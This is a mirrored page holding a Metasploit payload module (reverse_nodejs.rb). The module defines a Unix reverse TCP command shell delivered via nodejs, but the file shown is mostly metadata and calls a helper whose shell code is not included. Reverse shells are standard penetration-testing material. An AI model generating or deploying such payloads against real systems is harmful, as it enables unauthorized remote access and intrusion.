Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_nodejs.rb
21551 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 3231
8
9
include Msf::Payload::Single
10
include Msf::Payload::NodeJS
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Unix Command Shell, Reverse TCP (via nodejs)',
18
'Description' => 'Continually listen for a connection and spawn a command shell via nodejs',
19
'Author' => 'joev',
20
'License' => MSF_LICENSE,
21
'Platform' => 'unix',
22
'Arch' => ARCH_CMD,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'cmd',
26
'RequiredCmd' => 'node',
27
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
28
)
29
)
30
end
31
32
def generate(_opts = {})
33
super + command_string
34
end
35
36
def command_string
37
nodejs_cmd(nodejs_reverse_tcp)
38
end
39
end
40
41